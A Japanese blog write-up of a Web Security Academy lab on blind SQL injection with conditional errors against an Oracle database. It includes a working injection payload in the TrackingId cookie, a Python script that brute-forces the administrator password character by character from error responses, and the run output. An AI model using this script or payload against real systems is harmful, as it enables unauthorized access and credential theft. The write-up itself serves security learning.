ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Blind SQL injection with conditional errors

はじめに

「Blind SQL injection with conditional errors」のWriteupです。

Summary

  • データベースエラーによる挙動差異を利用したBlind SQL injection
  • CASE文を使って、評価式の結果に応じて(主にtrueだった場合?)ゼロ除算などのエラーを意図的に発生させる
  • SQLOracle関連の学び
    • SUBSTRING() ではなく SUBSTR()
    • ゼロ除算のところ、 to_char(1/0) としなければいけないっぽい
    • レコードの中身についてブルートフォースする時、 % を候補文字列に入れているとワイルドカードと認識されてしまうかも

Writeup

  • 目的と事前情報は以下の通りです。
    • 目的は administrator ユーザーでログインすること
    • ユーザー情報は users テーブルに格納されていて、username 列 と password 列で構成されている
    • データベースはOracle

スタート。トップは前回とほとんど変わらないので割愛します。

ログイン画面。前回のように「Welcome back!」の記述はありません。

f:id:befs_anne:20210414223430p:plain

データベースエラー起因での挙動差異があるかを確認します。Burpでリクエストをインターセプトして、セッションIDに 'AND (SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE 'a' END FROM DUAL)='a を追加し、リクエストを送信します。 1=2 はfalseなので、 'a'='a' で何も起きません。※falseの時は単に NULL として、 'a' との比較はしなくてよかったかも

f:id:befs_anne:20210414223646p:plain

評価式を 1=1 とするとtrueになるので、ゼロ除算が行われてデータベースエラーが発生します。案の定、レスポンスも500になりました。Blind SQL injection が成立します。

f:id:befs_anne:20210414224159p:plain

前回作ったコードを流用しました。ちょっと改造して、可変する引数(FQDN、トラッキングID、セッションID)のハードコードをやめて実行時にコマンド引数として指定できるようにしています(一定時間経過するとラボ環境が閉店ガラガラするので)。

投げるクエリは ' AND (SELECT CASE WHEN SUBSTR(password, {i}, 1) = '{char}' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a です。最初評価式をカッコで囲ってしまってうまくいきませんでした。必要ないみたいです。

import requests
import string
import sys

args = sys.argv
fqdn = args[2]

url = 'https://' + fqdn + '/login'
tracking_id = args[3]
session_id = args[4]
cookies = dict(TrackingId=tracking_id, session=session_id)


def test():
    resp = requests.get(url, cookies=cookies)
    print(resp.status_code)


def run():
    chars = string.printable[:95].replace('%', '')
    print(f'[*]Characters as candidate are {chars}.')
    ans = ''
    for i in range(1, 100):
        print(f'[*] try {i}, ans is "{ans}".')
        for char in chars:
            q = f"' AND (SELECT CASE WHEN SUBSTR(password, {i}, 1) = '{char}' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a"
            print(f'[*] query is {q}.')
            cookies = dict(TrackingId=tracking_id + q, session=session_id)
            resp = requests.get(url, cookies=cookies)
            if resp.status_code != 200:
                ans += char
                print(f'[o] match! Now answer is: {ans}.')
                break
            if char == chars[-1]:
                print(f'[*] No match. Answer is {ans}, or you need more characters as candidate.')
                sys.exit(1)


if __name__ == '__main__':
    if args[1] == 'test':
        test()
    elif args[1] == 'run':
        run()

実行すると、それらしい文字列が出てきました。 放っておくとシングルクォートが延々マッチし続けるようですが、 % と同様、何か意味のある文字列なのでしょうか。

$ python3 bsqli_solver_2.py run acf31fe71ea54faf80333e7000e2004d.web-security-academy.net Tf0CElKhzmiWfUno JUFrFFmjycnQLMUz5wmmKiFHbZX2ZfQO
[*]Characters as candidate are 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$&'()*+,-./:;<=>?@[\]^_`{|}~ .
[*] try 1, ans is "".
[*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = '0' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a.
[*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = '1' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a.
...
[*] query is ' AND (SELECT CASE WHEN SUBSTR(password, 22, 1) = ''' THEN to_char(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a.
[o] match! Now answer is: 26dyx39qmf2mfca2el2f''.
[*] try 23, ans is "26dyx39qmf2mfca2el2f''".

administrator / 26dyx39qmf2mfca2el2f で、ログイン成功しました。

f:id:befs_anne:20210414225351p:plain

前回から横着してますが、本当は事前にレコードの存在や、パスワードの文字列長を確認したりすると丁寧ですね。